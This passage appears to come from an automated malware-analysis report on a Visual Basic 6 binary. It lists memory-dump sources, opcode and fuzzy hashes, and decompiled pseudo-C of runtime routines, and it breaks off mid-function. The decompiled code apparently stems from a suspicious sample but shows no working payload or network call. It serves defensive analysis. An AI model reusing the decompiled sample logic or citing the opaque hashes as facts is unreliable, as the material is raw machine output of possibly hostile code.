        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 6ff803fc9fc832989a1e4e19b41e5bb0490453beddfa655d8753e82f49367899
        • Instruction ID: e26b05a430af55b190fbff572a7e44cc307876baee7527e9849b46e5207b48f6
        • Opcode Fuzzy Hash: 6ff803fc9fc832989a1e4e19b41e5bb0490453beddfa655d8753e82f49367899
        • Instruction Fuzzy Hash: 8931F2E1E6F313D8D62CA61469905B4206DAA0FB08633797B940F774C7813E6637745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction ID: 6370f7be89e19a98cfc48b04bff6886a0e901001fa52f552ff6350432c20651b
        • Opcode Fuzzy Hash: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction Fuzzy Hash: 673112E1E6F313D8D62CAA1069904B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 6ff803fc9fc832989a1e4e19b41e5bb0490453beddfa655d8753e82f49367899
        • Instruction ID: d5940c49028c12868562132c40a921964cb71ca5fa4c62d619c78a25f9b8a93d
        • Opcode Fuzzy Hash: 6ff803fc9fc832989a1e4e19b41e5bb0490453beddfa655d8753e82f49367899
        • Instruction Fuzzy Hash: 283112E1E6F313D8D62CA620A9904B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction ID: 2daddb591461e023200573d50699ba150179bde6b1ecd0b036503b199dc2d0cd
        • Opcode Fuzzy Hash: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction Fuzzy Hash: 643112E1E6F313D8D62CAA2069904B4106DAA0FB08233797B980F774C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c4ed103092389d8905428c73362759ea9ef589eb1bf83e51c63049d899d9b988
        • Instruction ID: f3e764c0a41084cca8aa45b3216a3389e0d4c0ae28493ab7dc0824a684938af7
        • Opcode Fuzzy Hash: c4ed103092389d8905428c73362759ea9ef589eb1bf83e51c63049d899d9b988
        • Instruction Fuzzy Hash: 6E3100E1E6F313D8E62CAA1069904B4106DAA0FB48273797B940F770C7853E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: f53a8ba422e6dda29a58e71afbe336cda7a3cf0a634f5b16102a24010872e0ed
        • Instruction ID: a66b9c314b4f203d5b31f7c0e34e537ea382f7809b41e9ec09720076b7ee44c9
        • Opcode Fuzzy Hash: f53a8ba422e6dda29a58e71afbe336cda7a3cf0a634f5b16102a24010872e0ed
        • Instruction Fuzzy Hash: 6C3112E1E6F313D8D62CA61069904B4106DAA0FB48273797B940F774CB853E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 3f4f31d66bc04f783a80f7f27e56b7e1a00cb34717095f153acb30f5c63fa779
        • Instruction ID: 4c82afcf8e5a25b8051c2eaa872e31145f82c5c86c45028527662852f9c3c2af
        • Opcode Fuzzy Hash: 3f4f31d66bc04f783a80f7f27e56b7e1a00cb34717095f153acb30f5c63fa779
        • Instruction Fuzzy Hash: 203112E1E6F313D8D62CAA2069904B4106DAA0FB48233797B940F770C7813E623B745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction ID: d3dc73a911751711c828fd366ad900df12923794dd6cdc988b33a549b2764bbc
        • Opcode Fuzzy Hash: c15e94b8a46f6c41ad084968e7fc72d9583e23a50e62f6fe647827b6310ffd8c
        • Instruction Fuzzy Hash: BC3100E1E6F313D8D62CA91069905B4106DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: a247d999a25d30453a12b7d8cfebb8ed970f7637dea1a01bcbb3ed6f9c8532f1
        • Instruction ID: eeac1f9153a0a22ffa3d90fe371c2d4989a4d4dc3c0b4c493fb8816f0388dc54
        • Opcode Fuzzy Hash: a247d999a25d30453a12b7d8cfebb8ed970f7637dea1a01bcbb3ed6f9c8532f1
        • Instruction Fuzzy Hash: 1A31F2E1F6E213D8E628A52099905B8266DA91FB08633697BD40F770C3813E7637745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 3e5b0137d98ac25c3d4e2686024df680ad675a0f41b774f21fab037772751cb9
        • Instruction ID: 34ec907d25f485b59db623959e33a4ef6ec7eae297d70bb338874d72a1a8c1c9
        • Opcode Fuzzy Hash: 3e5b0137d98ac25c3d4e2686024df680ad675a0f41b774f21fab037772751cb9
        • Instruction Fuzzy Hash: 14311FE1E6F313D8D62CAA20A9904B4206DAA0FB08233797B940F770C7813E6237745F
        Uniqueness

        Uniqueness Score: -1.00%

        APIs
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: AllocVirtual
        • String ID:
        • API String ID: 4275171209-0
        • Opcode ID: 1b29df2e88ca32559d59060e3a359e2fd9e64f76d5235cbb3dce0d3e8c590b3d
        • Instruction ID: 80df8276c412df5c504bebadafff7bcacb41d43b349a5992937035889741bbb9
        • Opcode Fuzzy Hash: 1b29df2e88ca32559d59060e3a359e2fd9e64f76d5235cbb3dce0d3e8c590b3d
        • Instruction Fuzzy Hash: 0131F0E1E6F313D8D62CAA24A9905B4206DAA0FB08633797B940F774C7813E6637745F
        Uniqueness

        Uniqueness Score: -1.00%

        Non-executed Functions

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 9ea50f9a03f570b4bd034fb4397963b2f0a3c8e4587d2a5aa0d63721c8a2c757
        • Instruction ID: 3c434a8cd50a883db300ce6be860e7da4abefff78a5a5f5fcd6aa76506afd194
        • Opcode Fuzzy Hash: 9ea50f9a03f570b4bd034fb4397963b2f0a3c8e4587d2a5aa0d63721c8a2c757
        • Instruction Fuzzy Hash: 17C125B5740307AFFF211E24CC95BE93663EF42760FA44128FE869B2C1D7B988868615
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 7b16adb716fff0ac106149268d0e6cdbb421ae82185e63a2c3eeb57b8d4c2492
        • Instruction ID: 68bd939d380a29ba72e89733565d74d8a6f30b5d0f7895862e703303a4e6d01f
        • Opcode Fuzzy Hash: 7b16adb716fff0ac106149268d0e6cdbb421ae82185e63a2c3eeb57b8d4c2492
        • Instruction Fuzzy Hash: 22D1F471700703EFE7589E28CCA1BD6B3A6FF05750FA44228EC9997241DB34A896CB90
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 0f14ce5a81daebc92a61cfd6a0bd8564319c0388602bac289faaecc8ea762419
        • Instruction ID: 6e16080dcd81332c1a603b00843644c83ecad94dd9404a3d3afd1250b01e3178
        • Opcode Fuzzy Hash: 0f14ce5a81daebc92a61cfd6a0bd8564319c0388602bac289faaecc8ea762419
        • Instruction Fuzzy Hash: 84B136B174030BAFFB315A24CCA5BE93B63EF55350FB54128FE85962C1D7B988CA8614
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 3a9dd1dfd7789166f5275434fec7890b192a6e7f8bc686807cabc94069a5bec2
        • Instruction ID: c08674983a688b5ffba2efe7a3362be652c2b20070ddce0a22e1726ded1400a0
        • Opcode Fuzzy Hash: 3a9dd1dfd7789166f5275434fec7890b192a6e7f8bc686807cabc94069a5bec2
        • Instruction Fuzzy Hash: 5E612671704A07EBE7289A18CCB1BE277E6BF06350FB50229FC95C3741DB20988AC790
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 02334d8fcfeca4ab87360701f970e7eeb10705ddbffd42153804e51c524a050e
        • Instruction ID: 9a57c159601738d509c72b5495929bdbe66325995aca30c6258dc50c312bcebb
        • Opcode Fuzzy Hash: 02334d8fcfeca4ab87360701f970e7eeb10705ddbffd42153804e51c524a050e
        • Instruction Fuzzy Hash: 1F212562409F5EEBA37199A40AF42E23FB36796350F1600ED9DC286F53F751888E9201
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 870c2c521c8cc5f9354fb40d6d5af6e7c041a0c963a3641bfa94788f49b71962
        • Instruction ID: ee99003df6028fb8d3f59f01809eb0db1c22446cdb91bb5ab9afbb70322f50f4
        • Opcode Fuzzy Hash: 870c2c521c8cc5f9354fb40d6d5af6e7c041a0c963a3641bfa94788f49b71962
        • Instruction Fuzzy Hash: C0F05839301B409FD714DE54C6D5BE733A6AF5A320F624659E807CB663D324EC86DA10
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 817a628cd82f1edbfd049c806da00485c2ddfb7bcd2245ba5b73d4801eb550b6
        • Instruction ID: 7ce7c3c3c6fcfd9640caadd745dabc6c1f32b978672bf046fed7e3017baecb58
        • Opcode Fuzzy Hash: 817a628cd82f1edbfd049c806da00485c2ddfb7bcd2245ba5b73d4801eb550b6
        • Instruction Fuzzy Hash: CDC04CBE1116808BE751DE48D482B907361BB11E94B940594E8029B722C215E940C640
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: 7e3926fd6c457c3e854597913739d4779d0f4252ba1e2ce2ccdff41230a2131a
        • Instruction ID: 255a167dfa7fd948767f664b91580af5537d456fcc67c7b1f2fdb9c55de4baa2
        • Opcode Fuzzy Hash: 7e3926fd6c457c3e854597913739d4779d0f4252ba1e2ce2ccdff41230a2131a
        • Instruction Fuzzy Hash: 8FC04CBE2429818BEB41CF08C582B80B364FF15E45B880495D815DB711D325E910C640
        Uniqueness

        Uniqueness Score: -1.00%

        Memory Dump Source
        • Source File: 00000000.00000002.1348608128.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false
        Similarity
        • API ID:
        • String ID:
        • API String ID:
        • Opcode ID: b320bf946193690ab9f3577ae6eb2a9278f90b365f0b5edf4f6fb71d8df5c5d8
        • Instruction ID: 4ebaded6f746a0da1c5452fca841823138079dc56a0866424b089bccf3e92505
        • Opcode Fuzzy Hash: b320bf946193690ab9f3577ae6eb2a9278f90b365f0b5edf4f6fb71d8df5c5d8
        • Instruction Fuzzy Hash: C5C09235A61F50CFCF95CE18C2E0F5973B2BB85B40B5398A4E4178FB12C269E840CA42
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 48%
        			E00412085(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				char _v36;
        				char _v40;
        				char _v44;
        				char _v60;
        				intOrPtr _v68;
        				intOrPtr _v76;
        				intOrPtr* _v80;
        				signed int _v84;
        				intOrPtr* _v88;
        				signed int _v92;
        				char _v100;
        				signed int _v104;
        				signed int _v108;
        				char* _t42;
        				signed int _t50;
        				char* _t53;
        				char* _t54;
        				signed int _t57;
        				intOrPtr _t69;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t69;
        				_t42 = 0x58;
        				L00401220();
        				_v12 = _t69;
        				_v8 = 0x4011d0;
        				_push(0x402dac);
        				L004012E0();
        				if(_t42 != 2) {
        					_push(0);
        					_push(L"rB5217");
        					_push( &_v36);
        					_push( &_v60);
        					L004012DA();
        					if( *0x41633c != 0) {
        						_v100 = 0x41633c;
        					} else {
        						_push(0x41633c);
        						_push(0x402bb8);
        						L00401358();
        						_v100 = 0x41633c;
        					}
        					_t7 =  &_v100; // 0x41633c
        					_v80 =  *((intOrPtr*)( *_t7));
        					_t50 =  *((intOrPtr*)( *_v80 + 0x1c))(_v80,  &_v40);
        					asm("fclex");
        					_v84 = _t50;
        					if(_v84 >= 0) {
        						_v104 = _v104 & 0x00000000;
        					} else {
        						_push(0x1c);
        						_push(0x402ba8);
        						_push(_v80);
        						_push(_v84);
        						L00401352();
        						_v104 = _t50;
        					}
        					_v88 = _v40;
        					_v68 = 1;
        					_v76 = 2;
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t53 =  &_v60;
        					L004012D4();
        					_t54 =  &_v44;
        					L0040135E();
        					_t57 =  *((intOrPtr*)( *_v88 + 0x58))(_v88, _t54, _t54, _t53, _t53, 0x402dc0, 0x10);
        					asm("fclex");
        					_v92 = _t57;
        					if(_v92 >= 0) {
        						_v108 = _v108 & 0x00000000;
        					} else {
        						_push(0x58);
        						_push(0x402d78);
        						_push(_v88);
        						_push(_v92);
        						L00401352();
        						_v108 = _t57;
        					}
        					_push( &_v40);
        					_t42 =  &_v44;
        					_push(_t42);
        					_push(2);
        					L0040134C();
        					L00401346();
        				}
        				_push(0x4121f5);
        				L00401346();
        				return _t42;
        			}
























        0x0041208a
        0x00412095
        0x00412096
        0x0041209f
        0x004120a0
        0x004120a8
        0x004120ab
        0x004120b2
        0x004120b7
        0x004120bf
        0x004120c5
        0x004120c7
        0x004120cf
        0x004120d3
        0x004120d4
        0x004120e3
        0x004120fd
        0x004120e5
        0x004120e5
        0x004120ea
        0x004120ef
        0x004120f4
        0x004120f4
        0x00412104
        0x00412109
        0x00412118
        0x0041211b
        0x0041211d
        0x00412124
        0x0041213d
        0x00412126
        0x00412126
        0x00412128
        0x0041212d
        0x00412130
        0x00412133
        0x00412138
        0x00412138
        0x00412144
        0x00412147
        0x0041214e
        0x00412158
        0x00412162
        0x00412163
        0x00412164
        0x00412165
        0x0041216b
        0x0041216f
        0x00412175
        0x00412179
        0x00412187
        0x0041218a
        0x0041218c
        0x00412193
        0x004121ac
        0x00412195
        0x00412195
        0x00412197
        0x0041219c
        0x0041219f
        0x004121a2
        0x004121a7
        0x004121a7
        0x004121b3
        0x004121b4
        0x004121b7
        0x004121b8
        0x004121ba
        0x004121c5
        0x004121c5
        0x004121ca
        0x004121ef
        0x004121f4

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 004120A0
        • __vbaLenBstrB.MSVBVM60(00402DAC,?,?,?,?,00401226), ref: 004120B7
        • __vbaVarLateMemCallLd.MSVBVM60(?,?,rB5217,00000000,00402DAC,?,?,?,?,00401226), ref: 004120D4
        • __vbaNew2.MSVBVM60(00402BB8,0041633C), ref: 004120EF
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,0000001C), ref: 00412133
        • __vbaChkstk.MSVBVM60(00000000,?,00402BA8,0000001C), ref: 00412158
        • __vbaCastObjVar.MSVBVM60(?,00402DC0), ref: 0041216F
        • __vbaObjSet.MSVBVM60(?,00000000,?,00402DC0), ref: 00412179
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D78,00000058), ref: 004121A2
        • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004121BA
        • __vbaFreeVar.MSVBVM60 ref: 004121C5
        • __vbaFreeVar.MSVBVM60(004121F5,00402DAC,?,?,?,?,00401226), ref: 004121EF
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckChkstkHresult$BstrCallCastLateListNew2
        • String ID: <cA$rB5217
        • API String ID: 2853878360-3494728814
        • Opcode ID: 16fc1f64b0da72f305c368bcbf90919955fa032ea904aabccae8338680e2d7cf
        • Instruction ID: d4b70919271518f8d3b0bc4315fe84d9cf0d1551ba4bf7c1d4c2f9885d200f37
        • Opcode Fuzzy Hash: 16fc1f64b0da72f305c368bcbf90919955fa032ea904aabccae8338680e2d7cf
        • Instruction Fuzzy Hash: E0410871940208AFDB00EFD5C94AFDEBBB9BF08704F10402AF501FB1A1D7B959958B19
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 52%
        			E00411E7A(void* __ebx, void* __ecx, void* __edi, void* __esi) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				signed int _v44;
        				void* _v48;
        				intOrPtr _v56;
        				char _v64;
        				char _v80;
        				intOrPtr _v104;
        				intOrPtr _v112;
        				intOrPtr _v120;
        				char _v128;
        				void* _v132;
        				signed int _v136;
        				intOrPtr* _v140;
        				signed int _v144;
        				signed int _v152;
        				char _v156;
        				signed int _v160;
        				signed int _v164;
        				short _t64;
        				short _t67;
        				signed int _t73;
        				signed int _t79;
        				intOrPtr _t95;
        
        				_push(0x401226);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t95;
        				L00401220();
        				_v12 = _t95;
        				_v8 = 0x4011c0;
        				_v104 = 0x402d8c;
        				_v112 = 8;
        				L0040132E();
        				_push(0);
        				_push(3);
        				_push( &_v64);
        				_push( &_v80);
        				L004012E6();
        				_v120 = 0x402da4;
        				_v128 = 0x8008;
        				_push( &_v80);
        				_t64 =  &_v128;
        				_push(_t64);
        				L0040130A();
        				_v132 = _t64;
        				_push( &_v80);
        				_push( &_v64);
        				_push(2);
        				L00401328();
        				_t67 = _v132;
        				if(_t67 != 0) {
        					if( *0x41633c != 0) {
        						_v156 = 0x41633c;
        					} else {
        						_push(0x41633c);
        						_push(0x402bb8);
        						L00401358();
        						_v156 = 0x41633c;
        					}
        					_t19 =  &_v156; // 0x41633c
        					_v132 =  *((intOrPtr*)( *_t19));
        					_t73 =  *((intOrPtr*)( *_v132 + 0x1c))(_v132,  &_v48);
        					asm("fclex");
        					_v136 = _t73;
        					if(_v136 >= 0) {
        						_v160 = _v160 & 0x00000000;
        					} else {
        						_push(0x1c);
        						_push(0x402ba8);
        						_push(_v132);
        						_push(_v136);
        						L00401352();
        						_v160 = _t73;
        					}
        					_v140 = _v48;
        					_v104 = 0x80020004;
        					_v112 = 0xa;
        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t79 =  *((intOrPtr*)( *_v140 + 0x5c))(_v140, 0x10,  &_v44);
        					asm("fclex");
        					_v144 = _t79;
        					if(_v144 >= 0) {
        						_v164 = _v164 & 0x00000000;
        					} else {
        						_push(0x5c);
        						_push(0x402d78);
        						_push(_v140);
        						_push(_v144);
        						L00401352();
        						_v164 = _t79;
        					}
        					_v152 = _v44;
        					_v44 = _v44 & 0x00000000;
        					_t67 = _v152;
        					_v56 = _t67;
        					_v64 = 8;
        					L0040133A();
        					L00401334();
        				}
        				asm("wait");
        				_push(0x41206a);
        				L00401346();
        				return _t67;
        			}




























        0x00411e7f
        0x00411e8a
        0x00411e8b
        0x00411e97
        0x00411e9f
        0x00411ea2
        0x00411ea9
        0x00411eb0
        0x00411ebd
        0x00411ec2
        0x00411ec4
        0x00411ec9
        0x00411ecd
        0x00411ece
        0x00411ed3
        0x00411eda
        0x00411ee4
        0x00411ee5
        0x00411ee8
        0x00411ee9
        0x00411eee
        0x00411ef5
        0x00411ef9
        0x00411efa
        0x00411efc
        0x00411f04
        0x00411f0a
        0x00411f17
        0x00411f34
        0x00411f19
        0x00411f19
        0x00411f1e
        0x00411f23
        0x00411f28
        0x00411f28
        0x00411f3e
        0x00411f46
        0x00411f55
        0x00411f58
        0x00411f5a
        0x00411f67
        0x00411f86
        0x00411f69
        0x00411f69
        0x00411f6b
        0x00411f70
        0x00411f73
        0x00411f79
        0x00411f7e
        0x00411f7e
        0x00411f90
        0x00411f96
        0x00411f9d
        0x00411fab
        0x00411fb5
        0x00411fb6
        0x00411fb7
        0x00411fb8
        0x00411fc7
        0x00411fca
        0x00411fcc
        0x00411fd9
        0x00411ffb
        0x00411fdb
        0x00411fdb
        0x00411fdd
        0x00411fe2
        0x00411fe8
        0x00411fee
        0x00411ff3
        0x00411ff3
        0x00412005
        0x0041200b
        0x0041200f
        0x00412015
        0x00412018
        0x00412025
        0x0041202d
        0x0041202d
        0x00412032
        0x00412033
        0x00412064
        0x00412069

        APIs
        • __vbaChkstk.MSVBVM60(?,00401226), ref: 00411E97
        • __vbaVarDup.MSVBVM60 ref: 00411EBD
        • #717.MSVBVM60(?,?,00000003,00000000), ref: 00411ECE
        • __vbaVarTstNe.MSVBVM60(00008008,?,?,?,00000003,00000000), ref: 00411EE9
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,00000003,00000000), ref: 00411EFC
        • __vbaNew2.MSVBVM60(00402BB8,0041633C), ref: 00411F23
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402BA8,0000001C), ref: 00411F79
        • __vbaChkstk.MSVBVM60(?), ref: 00411FAB
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402D78,0000005C), ref: 00411FEE
        • __vbaVarMove.MSVBVM60(00000000,?,00402D78,0000005C), ref: 00412025
        • __vbaFreeObj.MSVBVM60(00000000,?,00402D78,0000005C), ref: 0041202D
        • __vbaFreeVar.MSVBVM60(0041206A), ref: 00412064
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckChkstkHresult$#717ListMoveNew2
        • String ID: <cA
        • API String ID: 2511207350-2637925508
        • Opcode ID: 54061a5146e77a58545992369aad014fbbe1ca1b405fe3bca0e9c0b41241181d
        • Instruction ID: b87ee32ca07cfcbb830f49c0e1b850887363de539cc6790765621b3d0b3f4de7
        • Opcode Fuzzy Hash: 54061a5146e77a58545992369aad014fbbe1ca1b405fe3bca0e9c0b41241181d
        • Instruction Fuzzy Hash: 05510771D00218EFDB10DF95C985BDDBBB8BF08704F1080AAE508B72A1DBB85A85CF59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 52%
        			E00415935(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				char _v36;
        				char _v40;
        				char _v44;
        				intOrPtr _v52;
        				intOrPtr _v60;
        				intOrPtr* _v64;
        				signed int _v68;
        				intOrPtr* _v72;
        				signed int _v76;
        				intOrPtr* _v80;
        				signed int _v84;
        				char _v96;
        				signed int _v100;
        				intOrPtr* _v104;
        				signed int _v108;
        				signed int _v112;
        				signed int _t69;
        				char* _t74;
        				signed int _t78;
        				signed int _t82;
        				char* _t84;
        				void* _t94;
        				void* _t96;
        				intOrPtr _t97;
        
        				_t97 = _t96 - 0xc;
        				 *[fs:0x0] = _t97;
        				L00401220();
        				_v16 = _t97;
        				_v12 = 0x401210;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x58,  *[fs:0x0], 0x401226, _t94);
        				if( *0x41633c != 0) {
        					_v96 = 0x41633c;
        				} else {
        					_push(0x41633c);
        					_push(0x402bb8);
        					L00401358();
        					_v96 = 0x41633c;
        				}
        				_t9 =  &_v96; // 0x41633c
        				_v72 =  *((intOrPtr*)( *_t9));
        				_t69 =  *((intOrPtr*)( *_v72 + 0x14))(_v72,  &_v44);
        				asm("fclex");
        				_v76 = _t69;
        				if(_v76 >= 0) {
        					_v100 = _v100 & 0x00000000;
        				} else {
        					_push(0x14);
        					_push(0x402ba8);
        					_push(_v72);
        					_push(_v76);
        					L00401352();
        					_v100 = _t69;
        				}
        				_v80 = _v44;
        				_v52 = 0x80020004;
